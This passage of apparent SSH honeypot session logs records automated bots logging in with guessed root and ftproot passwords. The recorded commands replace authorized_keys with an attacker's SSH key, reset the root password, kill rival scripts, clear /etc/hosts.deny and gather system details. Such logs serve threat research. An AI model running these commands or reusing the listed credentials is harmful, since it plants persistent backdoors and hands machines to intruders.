auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:21:01.702442+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:21:01.977465+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:02.433314+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:03.424963+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:03.883651+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:05.056011+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:05.512963+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:06.057998+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:06.513283+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:06.980763+00:00","kind":"output","latency_ms":null,"data":" 12:21:06 up 7 days, 9:11, 0 user, load average: 0.26, 0.3, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:07.440457+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:08.248107+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:08.719460+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:09.360014+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:09.815112+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:10.387064+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:10 up 7 days, 9:11, 0 user, load average: 0.26, 0.3, 0.24\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:10.842013+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:11.604524+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:12.066142+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:12.498293+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:12.954031+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:13.576960+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:21:14.032742+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:15.367187+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:15.821870+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:16.985711+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"asd@123..","method":"password","accepted":true,"tier":"other"}]} {"id":"a91ccc20-8ea6-4baf-bb5b-ebf14b1b5d42","name":"feral-thawing-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":47744,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:10.503023+00:00","ended_at":"2026-08-27T12:21:12.216098+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:20:53.273178+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:20:53.574245+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:20:57.334003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:20:58.045815+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:20:58.345992+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XOJYU4slkJdE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:20:58.644499+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:20:58.943787+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:20:59.729860+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:00.033440+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:01.293467+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:01.598334+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:02.542252+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:02.844042+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:03.369259+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:03.668040+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:04.409321+00:00","kind":"output","latency_ms":null,"data":" 12:21:04 up 7 days, 9:11, 0 user, load average: 0.13, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:04.709391+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:04.962971+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:05.262788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:05.676890+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:05.977020+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:06.449151+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:06 up 7 days, 9:11, 0 user, load average: 0.13, 0.15, 0.1\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:06.750782+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:07.153948+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:07.455854+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:07.993186+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:08.292777+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:09.052281+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:21:09.351882+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:10.203857+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:10.503994+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:12.128169+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"expand","method":"password","accepted":true,"tier":"other"}]} {"id":"5b8744b2-01e2-49be-bece-36ec39409a93","name":"brisk-blithe-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":40896,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:19:44.225424+00:00","ended_at":"2026-08-27T12:19:45.643083+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:19:26.887194+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:19:27.213830+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:19:30.343880+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:19:30.966240+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:19:31.289050+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zPXjAp3fCQxG\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:19:31.620604+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:19:31.944188+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:19:32.379874+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:19:32.710336+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:19:33.705319+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:19:34.035499+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:19:35.254248+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:19:35.584710+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:19:36.011542+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:19:36.338281+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:19:37.085229+00:00","kind":"output","latency_ms":null,"data":" 12:19:37 up 7 days, 9:09, 0 user, load average: 0.25, 0.29, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:19:37.410195+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:19:37.735807+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:19:38.062544+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:19:38.897968+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:19:39.224419+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:19:39.522340+00:00","kind":"output","latency_ms":null,"data":"top - 12:19:39 up 7 days, 9:09, 0 user, load average: 0.25, 0.29, 0.27\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:19:39.850698+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:19:40.335870+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:19:40.664361+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:19:41.463387+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:19:41.790061+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:19:42.165451+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:19:42.497858+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:19:43.892889+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:19:44.226230+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:19:45.544825+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ASDzxc123","method":"password","accepted":true,"tier":"other"}]} {"id":"4ce08521-74d7-484d-bd2b-50f1e132ad39","name":"languid-dusky-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":34528,"username":"ftproot","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:15:30.385373+00:00","ended_at":"2026-08-27T12:15:31.284296+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2307,"events":[{"seq":1,"at":"2026-08-27T12:15:13.466742+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:15:13.725497+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:15:17.697624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:15:18.400873+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:15:18.661213+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qjkDcvzuN57B\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:15:18.920803+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:15:19.180250+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:15:19.581142+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:15:19.842886+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:15:20.897197+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:15:21.161499+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:15:22.420354+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:15:22.686024+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:15:23.501870+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:15:23.763520+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:15:24.270434+00:00","kind":"output","latency_ms":null,"data":" 12:15:24 up 7 days, 9:05, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:15:24.531473+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:15:25.277064+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:15:25.538927+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:15:25.938669+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:15:26.199065+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:15:26.785694+00:00","kind":"output","latency_ms":null,"data":"top - 12:15:26 up 7 days, 9:05, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:15:27.048857+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:15:27.475278+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:15:27.736196+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:15:28.100149+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:15:28.359591+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:15:28.949222+00:00","kind":"output","latency_ms":null,"data":"ftproot"},{"seq":29,"at":"2026-08-27T12:15:29.209562+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:15:30.126068+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:15:30.386122+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:15:31.209428+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftproot","password":"ftproot123","method":"password","accepted":true,"tier":"other"}]} {"id":"052656f7-0f3a-4553-91ff-893e15d0df4f","name":"hushed-alpine-jaguar","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57014,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:13:37.615119+00:00","ended_at":"2026-08-27T12:13:38.850014+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:13:18.875079+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:13:19.203018+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:13:23.921162+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:13:24.509175+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:13:24.838227+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4tIJvNS4rLRb\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:13:25.164094+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:13:25.492619+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:13:25.836725+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:13:26.167586+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:13:27.158065+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:13:27.488673+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:13:28.521422+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:13:28.849953+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:13:29.485919+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:13:29.817096+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:13:30.417077+00:00","kind":"output","latency_ms":null,"data":" 12:13:30 up 7 days, 9:03, 0 user, load average: 0.24, 0.19, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:13:30.747833+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:13:31.027447+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:13:31.355130+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 